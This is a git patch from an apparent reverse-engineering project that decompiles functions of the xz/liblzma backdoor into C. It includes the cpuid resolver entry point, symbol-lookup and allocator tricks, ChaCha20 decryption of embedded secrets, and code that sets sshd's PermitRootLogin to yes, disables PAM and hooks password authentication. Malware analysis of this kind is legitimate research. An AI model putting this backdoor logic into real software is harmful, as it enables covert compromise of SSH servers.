From 3755aaca7c45fe0be52535fcd1ef45df5da3cbaa Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Wed, 1 May 2024 02:19:56 +0200 Subject: [PATCH] initial commit of some decompiled functions --- CMakeLists.txt | 5 +- xzre.c | 2 +- xzre.h | 59 ++++++++++++++------- xzre_code/CMakeLists.txt | 16 ++++++ xzre_code/backdoor_entry.c | 18 +++++++ xzre_code/chacha_decrypt.c | 39 ++++++++++++++ xzre_code/elf_symbol_get_addr.c | 18 +++++++ xzre_code/fake_lzma_alloc.c | 10 ++++ xzre_code/fake_lzma_free.c | 6 +++ xzre_code/get_lzma_allocator.c | 8 +++ xzre_code/is_endbr64_instruction.c | 11 ++++ xzre_code/main_elf_parse.c | 29 ++++++++++ xzre_code/secret_data_append_from_address.c | 20 +++++++ xzre_code/secret_data_append_item.c | 17 ++++++ xzre_code/secret_data_append_singleton.c | 34 ++++++++++++ xzre_code/secret_data_get_decrypted.c | 28 ++++++++++ xzre_code/sha256.c | 24 +++++++++ xzre_code/sshd_patch_variables.c | 56 +++++++++++++++++++ 18 files changed, 379 insertions(+), 21 deletions(-) create mode 100644 xzre_code/CMakeLists.txt create mode 100644 xzre_code/backdoor_entry.c create mode 100644 xzre_code/chacha_decrypt.c create mode 100644 xzre_code/elf_symbol_get_addr.c create mode 100644 xzre_code/fake_lzma_alloc.c create mode 100644 xzre_code/fake_lzma_free.c create mode 100644 xzre_code/get_lzma_allocator.c create mode 100644 xzre_code/is_endbr64_instruction.c create mode 100644 xzre_code/main_elf_parse.c create mode 100644 xzre_code/secret_data_append_from_address.c create mode 100644 xzre_code/secret_data_append_item.c create mode 100644 xzre_code/secret_data_append_singleton.c create mode 100644 xzre_code/secret_data_get_decrypted.c create mode 100644 xzre_code/sha256.c create mode 100644 xzre_code/sshd_patch_variables.c diff --git a/CMakeLists.txt b/CMakeLists.txt index 16424a8..7c33148 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -10,7 +10,7 @@ find_program(SED_COMMAND NAMES sed REQUIRED) message(STATUS "Using ${LZMA_LIBRARY}") set(CMAKE_EXPORT_COMPILE_COMMANDS ON) -add_compile_options(-Wno-deprecated-declarations) +add_compile_options(-Wno-deprecated-declarations -Wno-address-of-packed-member) add_executable(xzre) add_library(lzma SHARED) @@ -51,6 +51,9 @@ set(SOURCES util.c ) +add_subdirectory(xzre_code) +target_include_directories(xzre_code PRIVATE ${CMAKE_SOURCE_DIR}) + add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/xzre.lds COMMAND ${CMAKE_C_COMPILER} -x c -E -P ${CMAKE_SOURCE_DIR}/xzre.lds.in > ${CMAKE_BINARY_DIR}/xzre.lds diff --git a/xzre.c b/xzre.c index 39b19d5..6615068 100644 --- a/xzre.c +++ b/xzre.c @@ -175,7 +175,7 @@ void xzre_backdoor_setup(){ /** setup fake entry frame to point to reference the fake got */ elf_entry_ctx_t my_entry_ctx = { .frame_address = ldso_elf, - .got_ptr = &fake_got + .got_ctx.got_ptr = &fake_got }; /** patch the GOT recompute function to be a no-op */ diff --git a/xzre.h b/xzre.h index bf496b8..008cd23 100644 --- a/xzre.h +++ b/xzre.h @@ -275,6 +275,11 @@ typedef struct { } lzma_check_state; +#define CHACHA20_KEY_SIZE 32 +#define CHACHA20_IV_SIZE 16 +#define SHA256_DIGEST_SIZE 32 +#define ED448_KEY_SIZE 57 + // opcode is always +0x80 for the sake of it (yet another obfuscation) #define XZDASM_OPC(op) (op - 0x80) @@ -522,6 +527,13 @@ typedef enum { struct sshbuf; struct kex; +/* permit_root_login */ +#define PERMIT_NOT_SET -1 +#define PERMIT_NO 0 +#define PERMIT_FORCED_ONLY 1 +#define PERMIT_NO_PASSWD 2 +#define PERMIT_YES 3 + /** * @brief struct monitor from openssh-portable */ @@ -581,12 +593,7 @@ struct sshkey { size_t shield_prekey_len; }; -typedef struct __attribute__((packed)) elf_entry_ctx { - /** - * @brief points to a symbol in memory - * will be used to find the GOT value - */ - void *symbol_ptr; +typedef struct __attribute__((packed)) got_ctx { /** * @brief points to the Global Offset Table */ @@ -607,6 +614,21 @@ typedef struct __attribute__((packed)) elf_entry_ctx { * used to derive the @ref got_ptr */ ptrdiff_t got_offset; +} got_ctx_t; + +assert_offset(got_ctx_t, got_ptr, 0); +assert_offset(got_ctx_t, return_address, 0x8); +assert_offset(got_ctx_t, cpuid_fn, 0x10); +assert_offset(got_ctx_t, got_offset, 0x18); +static_assert(sizeof(got_ctx_t) == 0x20); + +typedef struct __attribute__((packed)) elf_entry_ctx { + /** + * @brief points to a symbol in memory + * will be used to find the GOT value + */ + void *symbol_ptr; + got_ctx_t got_ctx; /** * @brief stores the value of __builtin_frame_address(0)-16 */ @@ -614,10 +636,7 @@ typedef struct __attribute__((packed)) elf_entry_ctx { } elf_entry_ctx_t; assert_offset(elf_entry_ctx_t, symbol_ptr, 0); -assert_offset(elf_entry_ctx_t, got_ptr, 8); -assert_offset(elf_entry_ctx_t, return_address, 0x10); -assert_offset(elf_entry_ctx_t, cpuid_fn, 0x18); -assert_offset(elf_entry_ctx_t, got_offset, 0x20); +assert_offset(elf_entry_ctx_t, got_ctx, 0x8); assert_offset(elf_entry_ctx_t, frame_address, 0x28); typedef struct __attribute__((packed)) dasm_ctx { @@ -1008,19 +1027,21 @@ static_assert(sizeof(imported_funcs_t) == 0x128); struct ssh; struct sshbuf; +typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m); + typedef struct __attribute__((packed)) sshd_ctx { BOOL have_mm_answer_keyallowed; BOOL have_mm_answer_authpassword; BOOL have_mm_answer_keyverify; PADDING(0x4); - int (*monitor_req_fn)(struct ssh *ssh, int sock, struct sshbuf *m); + sshd_monitor_func_t mm_answer_authpassword_hook; PADDING(0x8); // Used to initialize *mm_answer_keyverify_ptr void *mm_answer_keyverify; void *mm_answer_authpassword_start; void *mm_answer_authpassword_end; - void *mm_answer_authpassword_ptr; - u32 monitor_reqtype; + sshd_monitor_func_t *mm_answer_authpassword_ptr; + int monitor_reqtype_authpassword; PADDING(4); void *mm_answer_keyallowed_start; void *mm_answer_keyallowed_end; @@ -1049,12 +1070,12 @@ typedef struct __attribute__((packed)) sshd_ctx { assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0); assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4); assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8); -assert_offset(sshd_ctx_t, monitor_req_fn, 0x10); +assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10); assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20); assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28); assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30); assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38); -assert_offset(sshd_ctx_t, monitor_reqtype, 0x40); +assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40); assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48); assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50); assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58); @@ -1188,7 +1209,7 @@ typedef struct __attribute__((packed)) global_context { /** * @brief the secret data used for the chacha key generation */ - u8 secret_data[57]; + u8 secret_data[ED448_KEY_SIZE]; /** * @brief the shift operation states * @@ -1235,7 +1256,7 @@ assert_offset(global_context_t, num_shifted_bits, 0x160); static_assert(sizeof(global_context_t) == 0x168); typedef struct __attribute__((packed)) backdoor_shared_globals { - int (*mm_answer_authpassword_hook)(struct ssh *ssh, int sock, struct sshbuf *m); + sshd_monitor_func_t mm_answer_authpassword_hook; /** * copied to ldso_ctx_t::hook_EVP_PKEY_set1_RSA in backdoor_setup */ @@ -1438,8 +1459,8 @@ typedef struct __attribute__((packed)) backdoor_hooks_ctx { log_handler_fn mm_log_handler; PADDING(sizeof(void *)); PADDING(sizeof(void *)); - int (*mm_answer_keyallowed)(struct ssh *ssh, int sock, struct sshbuf *m); - int (*mm_answer_keyverify)(struct ssh *ssh, int sock, struct sshbuf *m); + sshd_monitor_func_t mm_answer_keyallowed; + sshd_monitor_func_t mm_answer_keyverify; PADDING(sizeof(void *)); } backdoor_hooks_ctx_t; diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt new file mode 100644 index 0000000..6536e0b --- /dev/null +++ b/xzre_code/CMakeLists.txt @@ -0,0 +1,16 @@ +add_library(xzre_code + backdoor_entry.c + chacha_decrypt.c + elf_symbol_get_addr.c + get_lzma_allocator.c + is_endbr64_instruction.c + fake_lzma_alloc.c + fake_lzma_free.c + main_elf_parse.c + secret_data_append_from_address.c + secret_data_append_item.c + secret_data_append_singleton.c + secret_data_get_decrypted.c + sha256.c + sshd_patch_variables.c +) \ No newline at end of file diff --git a/xzre_code/backdoor_entry.c b/xzre_code/backdoor_entry.c new file mode 100644 index 0000000..e90c888 --- /dev/null +++ b/xzre_code/backdoor_entry.c @@ -0,0 +1,18 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame){ + u32 a = 0, b = 0, c = 0, d = 0; + elf_entry_ctx_t state; + + if(resolver_call_count == 1){ + state.symbol_ptr = (void *)1; + memset(&state.got_ctx, 0x00, sizeof(state.got_ctx)); + state.frame_address = caller_frame; + backdoor_init(&state, caller_frame); + } + ++resolver_call_count; + _cpuid_gcc(cpuid_request, &a, &b, &c, &d); +} diff --git a/xzre_code/chacha_decrypt.c b/xzre_code/chacha_decrypt.c new file mode 100644 index 0000000..98e4f39 --- /dev/null +++ b/xzre_code/chacha_decrypt.c @@ -0,0 +1,39 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" +#include + +BOOL chacha_decrypt( + u8 *in, int inl, + u8 *key, u8 *iv, + u8 *out, imported_funcs_t *funcs +){ + int outl = 0; + if(!in || inl <= 0 || !iv || !out || !funcs) { + return FALSE; + } + if(contains_null_pointers((void **)&funcs->EVP_CIPHER_CTX_new, 6)){ + return FALSE; + } + EVP_CIPHER_CTX *ctx = funcs->EVP_CIPHER_CTX_new(); + if(!ctx){ + return FALSE; + } + const EVP_CIPHER *cipher = EVP_chacha20(); + if(funcs->EVP_DecryptInit_ex(ctx, cipher, NULL, key, iv) == TRUE + && funcs->EVP_DecryptUpdate(ctx, out, &outl, in, inl) == TRUE + && outl >= 0 + ){ + if(funcs->EVP_DecryptFinal_ex(ctx, &out[outl], &outl) == TRUE + && outl >= 0 && inl >= outl + ){ + funcs->EVP_CIPHER_CTX_free(ctx); + return TRUE; + } + } + if(funcs->EVP_CIPHER_CTX_free){ + funcs->EVP_CIPHER_CTX_free(ctx); + } + return FALSE; +} \ No newline at end of file diff --git a/xzre_code/elf_symbol_get_addr.c b/xzre_code/elf_symbol_get_addr.c new file mode 100644 index 0000000..bc43eb3 --- /dev/null +++ b/xzre_code/elf_symbol_get_addr.c @@ -0,0 +1,18 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" +#include + +void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id){ + Elf64_Sym *sym = elf_symbol_get(elf_info, encoded_string_id, 0); + if(!sym){ + return NULL; + } + + if(sym->st_value && sym->st_shndx){ + return (void *)PTRADD(elf_info->elfbase, sym->st_value); + } else { + return NULL; + } +} diff --git a/xzre_code/fake_lzma_alloc.c b/xzre_code/fake_lzma_alloc.c new file mode 100644 index 0000000..55a7c1b --- /dev/null +++ b/xzre_code/fake_lzma_alloc.c @@ -0,0 +1,10 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size){ + elf_info_t *elf_info = (elf_info_t *)opaque; + EncodedStringId string_id = (EncodedStringId)size; + return elf_symbol_get_addr(elf_info, string_id); +} diff --git a/xzre_code/fake_lzma_free.c b/xzre_code/fake_lzma_free.c new file mode 100644 index 0000000..b5387fe --- /dev/null +++ b/xzre_code/fake_lzma_free.c @@ -0,0 +1,6 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +void fake_lzma_free(void *opaque, void *ptr){} diff --git a/xzre_code/get_lzma_allocator.c b/xzre_code/get_lzma_allocator.c new file mode 100644 index 0000000..35e8fe3 --- /dev/null +++ b/xzre_code/get_lzma_allocator.c @@ -0,0 +1,8 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +lzma_allocator *get_lzma_allocator(void){ + return &get_lzma_allocator_address()->allocator; +} diff --git a/xzre_code/is_endbr64_instruction.c b/xzre_code/is_endbr64_instruction.c new file mode 100644 index 0000000..293dd8d --- /dev/null +++ b/xzre_code/is_endbr64_instruction.c @@ -0,0 +1,11 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part){ + if((code_end - code_start) > 3){ + return *code_start + (low_mask_part | 0x5E20000) == 0xF223; + } + return FALSE; +} diff --git a/xzre_code/main_elf_parse.c b/xzre_code/main_elf_parse.c new file mode 100644 index 0000000..2023794 --- /dev/null +++ b/xzre_code/main_elf_parse.c @@ -0,0 +1,29 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" +#include + +BOOL main_elf_parse(main_elf_t *main_elf){ + if(!elf_parse( + main_elf->dynamic_linker_ehdr, + main_elf->elf_handles->dynamic_linker + )){ + return FALSE; + } + Elf64_Sym *libc_stack_end_sym; + if(!(libc_stack_end_sym = elf_symbol_get( + main_elf->elf_handles->dynamic_linker, + STR_libc_stack_end, + STR_GLIBC_2_2_5 + ))){ + return FALSE; + } + elf_info_t *dynamic_linker; + void **libc_stack_end_ptr = (void *)PTRADD(dynamic_linker->elfbase, libc_stack_end_sym->st_value); + if(!process_is_sshd(dynamic_linker, *libc_stack_end_ptr)){ + return FALSE; + } + *main_elf->__libc_stack_end = *libc_stack_end_ptr; + return TRUE; +} diff --git a/xzre_code/secret_data_append_from_address.c b/xzre_code/secret_data_append_from_address.c new file mode 100644 index 0000000..8145893 --- /dev/null +++ b/xzre_code/secret_data_append_from_address.c @@ -0,0 +1,20 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL secret_data_append_from_address( + void *addr, + secret_data_shift_cursor_t shift_cursor, + unsigned shift_count, unsigned operation_index +){ + u8 *code = (u8 *)addr; + if((uintptr_t)addr <= 1){ + code = (u8 *)__builtin_return_address(0); + } + return secret_data_append_singleton( + addr, code, + shift_cursor, shift_count, + operation_index + ); +} diff --git a/xzre_code/secret_data_append_item.c b/xzre_code/secret_data_append_item.c new file mode 100644 index 0000000..784954e --- /dev/null +++ b/xzre_code/secret_data_append_item.c @@ -0,0 +1,17 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL secret_data_append_item( + secret_data_shift_cursor_t shift_cursor, + unsigned operation_index, + unsigned shift_count, + int index, u8 *code +){ + return index && secret_data_append_singleton( + code, code, + shift_cursor, shift_count, + operation_index + ); +} diff --git a/xzre_code/secret_data_append_singleton.c b/xzre_code/secret_data_append_singleton.c new file mode 100644 index 0000000..be6bfc9 --- /dev/null +++ b/xzre_code/secret_data_append_singleton.c @@ -0,0 +1,34 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL secret_data_append_singleton( + u8 *call_site, u8 *code, + secret_data_shift_cursor_t shift_cursor, + unsigned shift_count, unsigned operation_index +){ + if(global_ctx && !global_ctx->shift_operations[operation_index]){ + global_ctx->shift_operations[operation_index] = TRUE; + void *func_start = NULL; + if(!find_function( + code, &func_start, NULL, + global_ctx->lzma_code_start, + global_ctx->lzma_code_end, + FIND_NOP + )){ + return FALSE; + } + + if(!secret_data_append_from_code( + func_start, global_ctx->lzma_code_end, + shift_cursor, shift_count, + call_site == NULL + )){ + return FALSE; + } + + global_ctx->num_shifted_bits += shift_count; + } + return TRUE; +} diff --git a/xzre_code/secret_data_get_decrypted.c b/xzre_code/secret_data_get_decrypted.c new file mode 100644 index 0000000..ad31fa8 --- /dev/null +++ b/xzre_code/secret_data_get_decrypted.c @@ -0,0 +1,28 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +struct key_buf { + u8 key[CHACHA20_KEY_SIZE]; + u8 iv[CHACHA20_IV_SIZE]; +}; + +BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx){ + if(!output || !ctx || !ctx->imported_funcs){ + return FALSE; + } + struct key_buf buf1 = {0}, buf2 = {0}; + if(!chacha_decrypt( + (u8 *)&buf1, sizeof(buf1), + buf1.key, buf1.iv, + (u8 *)&buf2, ctx->imported_funcs) + ){ + return FALSE; + } + + return chacha_decrypt( + ctx->secret_data, sizeof(ctx->secret_data), + buf1.key, buf1.iv, + output, ctx->imported_funcs); +} diff --git a/xzre_code/sha256.c b/xzre_code/sha256.c new file mode 100644 index 0000000..c3880c4 --- /dev/null +++ b/xzre_code/sha256.c @@ -0,0 +1,24 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL sha256( + const void *data, + size_t count, + u8 *mdBuf, + u64 mdBufSize, + imported_funcs_t *funcs +){ + if(!data || !count || mdBufSize < SHA256_DIGEST_SIZE || !funcs){ + return FALSE; + } + if(!funcs->EVP_Digest || !funcs->EVP_sha256){ + return FALSE; + } + const EVP_MD *md = funcs->EVP_sha256(); + if(!md){ + return FALSE; + } + return funcs->EVP_Digest(data, count, mdBuf, NULL, md, NULL) == TRUE; +} diff --git a/xzre_code/sshd_patch_variables.c b/xzre_code/sshd_patch_variables.c new file mode 100644 index 0000000..9d04e96 --- /dev/null +++ b/xzre_code/sshd_patch_variables.c @@ -0,0 +1,56 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL sshd_patch_variables( + BOOL skip_root_patch, + BOOL disable_pam, + BOOL replace_monitor_reqtype, + int monitor_reqtype, + global_context_t *global_ctx +){ + if(!global_ctx){ + return FALSE; + } + sshd_ctx_t *sshd_ctx = global_ctx->sshd_ctx; + if(!sshd_ctx){ + return FALSE; + } + if(!sshd_ctx->have_mm_answer_authpassword + || !sshd_ctx->mm_answer_authpassword_hook + ){ + return FALSE; + } + + if(!skip_root_patch){ + int *permit_root_login = sshd_ctx->permit_root_login_ptr; + if(!permit_root_login){ + return FALSE; + } + if(*permit_root_login < 0 + || (*permit_root_login > PERMIT_NO_PASSWD && *permit_root_login != PERMIT_YES)){ + return FALSE; + } + *permit_root_login = PERMIT_YES; + } + + if(disable_pam){ + int *use_pam = sshd_ctx->use_pam_ptr; + if(!use_pam || *use_pam > TRUE){ + return FALSE; + } + *use_pam = FALSE; + } + + sshd_monitor_func_t *mm_answer_authpassword_ptr = sshd_ctx->mm_answer_authpassword_ptr; + + if(!replace_monitor_reqtype){ + // read reqtype from `monitor` struct + monitor_reqtype = *(int *)PTRDIFF(mm_answer_authpassword_ptr, 8) + 1; + } + sshd_ctx->monitor_reqtype_authpassword = monitor_reqtype; + // install authpassword hook + *mm_answer_authpassword_ptr = sshd_ctx->mm_answer_authpassword_hook; + return TRUE; +}